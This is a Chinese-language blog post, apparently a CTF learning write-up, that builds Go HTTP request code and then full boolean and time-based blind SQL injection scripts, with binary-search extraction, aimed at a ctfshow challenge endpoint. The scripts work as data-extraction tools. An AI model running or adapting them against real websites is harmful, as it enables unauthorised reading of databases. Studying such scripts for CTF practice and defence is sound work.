当前位置: 首页 > news >正文

GO的sql注入盲注脚本

之间学习了go的语法 这里就开始go的爬虫

与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本

发现不是那么简单 这里开始研究一下

首先是请求网站

这里貌似很简单

package mainimport ("fmt""net/http"
)func main() {res, err := http.Get("https://www.baidu.com/")fmt.Println(res, err)
}
&{200 OK 200 HTTP/1.1 1 1 map[Content-Type:[application/x-gzip] Date:[Thu, 14 Dec 2023 06:31:16 GMT] Server:[bfe]] 0xc0001a0020 -1 [] false true map[] 0xc000136000 0xc000118370} <nil>发现这里是一个地址

 然后就是读取源代码

package mainimport ("fmt""io""net/http""os"
)func main() {res, err := http.Get("https://www.baidu.com/")if err != nil {fmt.Println("connnect error")os.Exit(0)}body, err := io.ReadAll(res.Body)// fmt.Println(body)fmt.Println(string(body))
}

 这里再难一点

package mainimport ("fmt""io""net/http""os"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)fmt.Println(string(links))
}

通过函数 然后发送请求

package mainimport ("fmt""io""net/http""os""strings"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)// fmt.Println(string(links))if strings.Contains(string(links), "百度一下") {fmt.Println("存在")} else {fmt.Println("不存在")}
}

然后这里开始尝试写一下盲注脚本

这里开始是bool脚本 题目是ctfshow 174

golang bool注入普通脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))=%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {for j := 0; j < 127; j++ {if j >= 50 {payload1 := fmt.Sprintf(payload, i, j)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {flag += string(j)fmt.Println(flag)}}}}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

很慢哦

二分法看看如何实现

golang bool注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))>%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

能发现其实其他都是差不多的 只是修改了

if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}

这一块 速度又起来了

下面想尝试一下时间注入

golang time注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""time"
)var payload string = "1' and if((ascii(substr((select database()),%v,1))>%v),sleep(5),0)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)_, int123 := send(payload1)if check(int123) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) (string, int64) {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")start := time.Now()resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()elapsed := time.Since(start).Milliseconds()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1, elapsed
}func check(test int64) bool {if test > 5000 {return true} else {return false}
}

这里是sql注入time的二分法但是我想进行优化

http://www.lryc.cn/news/262572.html

相关文章:

  • 写好ChatGPT提示词原则之:清晰且具体(clear specific)
  • Java实现快速排序及其动图演示
  • iClient3D 图元操作
  • 从0到1!开发小白快速入门腾讯云数据库
  • Golang清晰代码指南
  • C语言 文件I/O(备查)
  • web(HTML之表单练习)
  • 通过对象轮换实现 LRU 缓存结构
  • 【Unity动画】综合案例完结-控制角色动作播放+声音配套
  • 【工作流Activiti】任务组
  • 桌面概率长按键盘无法连续输入问题
  • 用23种设计模式打造一个cocos creator的游戏框架----(十九)备忘录模式
  • 动手学深度学习-自然语言处理-预训练
  • 力扣200. 岛屿数量(java DFS解法)
  • 解决el-table组件中,分页后数据的勾选、回显问题?
  • web网络安全
  • 若依 ruoyi-vue3 集成aj-captcha实现滑块、文字点选验证码
  • 安卓10 flutter webview 回退会闪退
  • 【Unity入门】物体5种移动方法
  • Elasticsearch的 8.x常用api汇总
  • k8syaml提供的几个有意思的功能,Kubernetes在线工具网站
  • 【图像分类】【深度学习】【Pytorch版本】 ResNeXt模型算法详解
  • Android 14 应用适配指南
  • 【AI美图提示词】第07期效果图,AI人工智能自动绘画,精选绝美版美图欣赏
  • 前端知识(十三)——JavaScript监听按键,禁止F12,禁止右键,禁止保存网页【Ctrl+s】等操作
  • 面向对象设计与分析(28)单例模式的奇异递归模板CRTP实现
  • 微信小程序 - 龙骨图集拆分
  • 使用React 18和WebSocket构建实时通信功能
  • vue3使用vue-router嵌套路由(多级路由)
  • openGauss学习笔记-164 openGauss 数据库运维-备份与恢复-导入数据-使用COPY FROM STDIN导入数据-处理错误表